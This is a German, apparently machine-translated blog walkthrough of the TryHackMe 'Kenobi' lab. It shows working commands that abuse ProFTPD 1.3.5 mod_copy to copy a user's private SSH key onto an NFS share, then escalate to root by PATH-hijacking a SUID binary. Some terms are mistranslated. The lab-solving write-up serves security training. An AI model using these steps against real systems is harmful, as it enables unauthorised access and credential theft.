Kenobi – TryHackMe – Handbuch-Beschreibung

Reading Time: ( Word Count: )

Februar 28, 2021
Nextdoorsec-course

Intro

Die Kenobi-Box behandelt die folgenden Themen:

  • Aufzählung der Samba-Aktien
  • Manipulation einer verwundbaren Version von proftpd
  • Manipulation von Pfadvariablen für die Ausweitung von Privilegien

Aufzählung

Nmap

Erster Nmap-Scan:

┌──(kali㉿kali)-[~] └─$ nmap -A -v $IP PORT ZUSTAND SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protokoll 2.0) | ssh-hostkey: | 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Unterstützte Methoden: GET HEAD POST OPTIONS | http-robots.txt: 1 unzulässiger Eintrag |_/admin.html |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Die Website hat keinen Titel (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | Programmversion port/proto dienst | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100003 2,3,4 2049/udp nfs | 100003 2,3,4 2049/udp6 nfs | 100005 1,2,3 40218/udp6 mountd | 100005 1,2,3 43681/tcp6 mountd | 100005 1,2,3 55583/udp mountd | 100005 1,2,3 59803/tcp mountd | 100021 1,3,4 37255/tcp6 nlockmgr | 100021 1,3,4 41993/tcp nlockmgr | 100021 1,3,4 48289/udp nlockmgr | 100021 1,3,4 60413/udp6 nlockmgr | 100227 2,3 2049/tcp nfs_acl | 100227 2,3 2049/tcp6 nfs_acl | 100227 2,3 2049/udp nfs_acl |_ 100227 2,3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (Arbeitsgruppe: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (Arbeitsgruppe: WORKGROUP) 2049/tcp open nfs_acl 2-3 (RPC #100227) Dienstinfo: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Ergebnisse des Host-Skripts: |_clock-skew: Mittelwert: 1h59m58s, Abweichung: 3h27m51s, Median: -1s | nbstat: NetBIOS-Name: KENOBI, NetBIOS-Benutzer: , NetBIOS MAC: (unbekannt) | Namen: | KENOBI<00> Flaggen: | KENOBI<03> Flaggen: | KENOBI<20> Flaggen: \x01\x02__MSBROWSE__\x02<01> Flaggen: | WORKGROUP<00> Flaggen: | WORKGROUP<1d> Flaggen: |_ WORKGROUP<1e> Flaggen: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computername: kenobi | NetBIOS-Computername: KENOBI\x00 | Domänenname: \x00 | FQDN: kenobi |_ Systemzeit: 2021-02-24T11:43:11-06:00 | smb-security-mode: | account_used: Gast | authentication_level: user | challenge_response: unterstützt |Message_signing: deaktiviert (gefährlich, aber Standard) | smb2-security-mode: | 2.02: |Nachrichtenunterzeichnung aktiviert, aber nicht erforderlich | smb2-Zeit: | Datum: 2021-02-24T17:43:11 |_ Startdatum: N/A

Dem Apache-Server an Port 80, der ProFTPD-Version an Port 21 und den Samba-Freigaben gilt meine unmittelbare Aufmerksamkeit.

Auf Port 80 ist nichts zu finden, auch nicht nach dem Scannen nach anderen Verzeichnissen/Dateien mit gobuster.

Lassen Sie uns die smb-Freigaben und Benutzer mit Nmap-Skripten auflisten:

┌──(kali㉿kali)-[~] └─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
PORT STATE SERVICE 445/tcp open microsoft-ds Ergebnisse des Host-Skripts: | smb-enum-shares: | account_used: Gast .10.100.215\IPC$: | Typ: STYPE_IPC_HIDDEN | Kommentar: IPC-Dienst (Kenobi-Server (Samba, Ubuntu)) | Benutzer: 2 | Max. Benutzer: | Pfad: C:\tmp | Anonymer Zugriff: READ/WRITE | Aktueller Benutzerzugang: READ/WRITE .10.100.215\anonymous: | Typ: STYPE_DISKTREE | Kommentar: | Benutzer: 0 | Max. Benutzer: | Pfad: C:\home\kenobi\share | Anonymer Zugriff: READ/WRITE | Aktueller Benutzerzugang: READ/WRITE .10.100.215\print$: | Typ: STYPE_DISKTREE | Kommentar: Druckertreiber | Benutzer: 0 | Max. Benutzer: | Pfad: C:\var\lib\samba\printers | Anonymer Zugriff: |_ Aktueller Benutzerzugang:

Es scheint, als hätten wir Lese- und Schreibzugriff auf zwei der Freigaben.

Schauen wir uns eine der Aktien an:

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous
smb: \> ls . D 0 Wed Sep 4 12:49:09 2019 .. D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 Blöcke der Größe 1024. 6877100 Blöcke verfügbar smb: \> get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Erzeugen eines öffentlichen/privaten rsa-Schlüsselpaares. Geben Sie die Datei an, in der der Schlüssel gespeichert werden soll (/home/kenobi/.ssh/id_rsa): Verzeichnis '/home/kenobi/.ssh' erstellt. Geben Sie die Passphrase ein (leer für keine Passphrase): Geben Sie dieselbe Passphrase erneut ein: Ihre Kennung wurde in /home/kenobi/.ssh/id_rsa gespeichert. Ihr öffentlicher Schlüssel wurde in /home/kenobi/.ssh/id_rsa.pub gespeichert. Der wichtigste Fingerabdruck ist: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q [email protected] Das Randomart-Bild des Schlüssels ist: ...

log.txt enthält Informationen über die Erzeugung eines privaten ssh-Schlüssels, der sich in seinem Standardverzeichnis befindet. Sie enthält auch Informationen über den ProFTPD-Dienst.

NFS

Bevor wir mit der Verwertungsphase beginnen, müssen wir noch einige Aufzählungen vornehmen. Lassen Sie uns das Netzwerk-Dateisystem (nfs) aufzählen, das zuvor an Port 111 gefunden wurde:

┌──(kali㉿kali)-[~] └─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: |_ /var *

Da wir nun wissen, dass es möglich ist, das Verzeichnis /var zu mounten, sollten wir dies im Hinterkopf behalten und mit der Exploitation-Phase fortfahren.

Ausbeutung

Searchsploit

Wir haben die Version von proftpd bereits gefunden, lassen Sie uns nach potentiellen Exploits Ausschau halten:

┌──(kali㉿kali)-[~] └─$ searchsploit proftpd 1.3.5
----------------------------------------------------------- --------------------------------- Exploit-Titel | Pfad ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Befehlsausführung (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Entfernte Befehlsausführung | linux/remote/36803.py ProFTPd 1.3.5 - Dateikopie | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------

Der dritte Exploit, „36742.txt“, informiert uns über die Verwendung des mod_copy-Moduls SITE CPFT/SITE CPTO Befehle. Es sollte uns ermöglichen, diese Befehle unauthentifiziert zum Kopieren von Dateien/Verzeichnissen von einem Ort zum anderen auf dem Server zu verwenden. Lassen Sie uns weitergehen und eine Verbindung herstellen mit nc auf Port 21 (ftp).

Wir wissen, dass der FTP-Dienst unter dem Benutzer Kenobi läuft (aus der Datei auf der Freigabe), und dass für diesen Benutzer ein ssh-Schlüssel erzeugt wurde (log.txt).

┌──(kali㉿kali)-[~] └─$ nc $IP 21
220 ProFTPD 1.3.5 Server (ProFTPD Standardinstallation) [10 .10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 Datei oder Verzeichnis vorhanden, bereit für Zielname SITE CPTO /var/tmp/id_rsa 250 Kopie erfolgreich

Wir können nun das Verzeichnis lokal mounten und den zuvor kopierten Schlüssel herunterladen.

┌──(kali㉿kali)-[~] └─$ sudo mkdir /mnt/kenobiNFS ┌──(kali㉿kali)-[~] └─$ sudo mount $IP:/var /mnt/kenobiNFS
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS insgesamt 56 drwxr-xr-x 14 root root 4096 Sep 4 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 .. drwxr-xr-x 2 root root 4096 Sep 4 2019 Sicherungen drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 12 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 Jan 29 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 Feb 25 23:54 tmp drwxr-xr-x 3 root root 4096 Sep 4 2019 www

Wir haben jetzt ein Netzwerk-Mount auf unserem Ziel, genau wie ein physisch angeschlossenes Gerät an unserem PC! Wir können auf /var/tmp gehen, den privaten Schlüssel abrufen und uns dann bei Kenobis Konto anmelden.

┌──(kali㉿kali)-[~] └─$ cp /mnt/kenobiNFS/tmp/id_rsa . ┌──(kali㉿kali)-[~] └─$ sudo chmod 600 id_rsa ┌──(kali㉿kali)-[~] └─$ ssh -i id_rsa kenobi@$IP
[email protected]:~$ whoami kenobi

Wir müssen den privaten ssh-Schlüsseln immer Lese-/Schreibrechte geben. Andernfalls wird es aus Sicherheitsgründen nicht funktionieren. Hier sind die richtigen Berechtigungen:
Die Berechtigungen für das Verzeichnis .ssh sollten 700 (drwx——) betragen.
Der öffentliche Schlüssel (.pub-Datei) sollte 644 (-rw-r–r–) sein.
Der private Schlüssel (id_rsa) auf dem Client-Host und die authorized_keys-Datei auf dem Server sollten 600 sein (-rw——-).

Privilegieneskalation

SUID

Lassen Sie uns nach Dateien/Programmen suchen, die das SUID-Bit gesetzt haben:

[email protected]:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null -rwsr-xr-x 1 root root 94240 Mai 8 2019 /sbin/mount.nfs -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 10232 Mär 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 49584 Mai 16 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 32944 Mai 16 2017 /usr/bin/newgidmap -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec -rwsr-xr-x 1 root root 54256 Mai 16 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 32944 Mai 16 2017 /usr/bin/newuidmap -rwsr-xr-x 1 root root 75304 Mai 16 2017 /usr/bin/gpasswd -rwsr-xr-x 1 root root 8880 Sep 4 2019 /usr/bin/menu -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo -rwsr-xr-x 1 root root 40432 Mai 16 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 39904 Mai 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 27608 Mai 16 2018 /bin/umount -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount -rwsr-xr-x 1 root root 40152 Mai 16 2018 /bin/mount -rwsr-xr-x 1 root root 44168 7. Mai 2014 /bin/ping -rwsr-xr-x 1 root root 40128 Mai 16 2017 /bin/su -rwsr-xr-x 1 root root 44680 Mai 7 2014 /bin/ping6

SUID-Missbrauch ist eine gängige Technik zur Privilegienerweiterung, die es uns ermöglicht, Root-Zugriff zu erlangen, indem wir eine Root-Binärdatei mit aktivierter SUID ausführen. Ein alternativer Befehl würde lauten:
find / -perm -u=s -type f 2>/dev/null

Sie können normalerweise GTFOBins überprüfen, um zu sehen, wie man die Datei mit gesetztem SUID-Bit missbraucht, aber /usr/bin/menu ist ein maßgeschneidertes Programm. Deshalb können wir sie dort nicht finden. Lassen wir es laufen und sehen wir, was es bewirkt:

[email protected]:~$ /usr/bin/menu
*************************************** 1. status check 2. kernel version 3. ifconfig ** Geben Sie Ihre Auswahl ein:

Er führt einige einfache Befehle aus, wenn er ausgewählt wird. Versuchen wir zu sehen, was im Backend mit dem Befehl strings passiert, der nach menschenlesbaren Zeichenfolgen in einer Binärdatei sucht:

┌──(kali㉿kali)-[~] └─$ Zeichenketten /usr/bin/menu *************************************** 1. Statusprüfung 2. Kernel-Version 3. ifconfig ** Geben Sie Ihre Wahl ein: curl -I localhost uname -r ifconfig

Dies zeigt, dass die Binärdateien ohne ihren vollständigen Pfad ausgeführt werden, also z. B. nicht mit /usr/bin/curl, /usr/bin/uname oder /usr/sbin/ifconfig.

Die Datei selbst wird mit Root-Rechten ausgeführt, so dass die ausgeführten Befehle auf die gleiche Weise ausgeführt werden.

[email protected]:~$ cd /tmp [email protected]:~$ echo /bin/sh > ifconfig [email protected]:~$ chmod 777 ifconfig [email protected]:~$ export PATH=/tmp:$PATH [email protected]:~$ /usr/bin/menu
*************************************** 1. Statusprüfung 2. Kernel-Version 3. ifconfig ** Geben Sie Ihre Wahl ein :3 # whoami Wurzel #

Zuerst navigieren wir zum Pfad tmp, dann echo /bin/sh in eine neue Datei namens ifconfig. Setzen Sie anschließend die richtigen Berechtigungen für unsere neu erstellte ifconfig. Dann setzen wir die Variable PATH auf den aktuellen Pfad (tmp), also /usr/bin/menu verwendet unsere PATH-Variable, um die Binärdatei ifconfig zu finden.

Ich hoffe, es ist alles klar. Wenn nicht, lassen Sie es mich in den Kommentaren unten wissen.

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Die Popularität des Esports und seine Trends

Esports, die Welt der wettbewerbsorientierten Videospiele, ist in den letzten Jahren sehr populär geworden. Es ...

Online-Spiele, bei denen Sie Geld gewinnen können

Im digitalen Zeitalter sind Online-Spiele mehr als nur eine Quelle der Unterhaltung geworden. Es hat sich zu einer ...

Netstat vs. Nmap vs. Netcat: Verstehen der Unterschiede

In der Netzwerk- und Systemadministration helfen verschiedene Tools den Fachleuten bei der Analyse und ...

Nmap vs. Nessus: Ein umfassender Vergleich

Was die Netzwerksicherheit und die Bewertung von Schwachstellen anbelangt, so sind Nmap und Nessus zwei populäre ...
0 Kommentare

Einen Kommentar abschicken

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert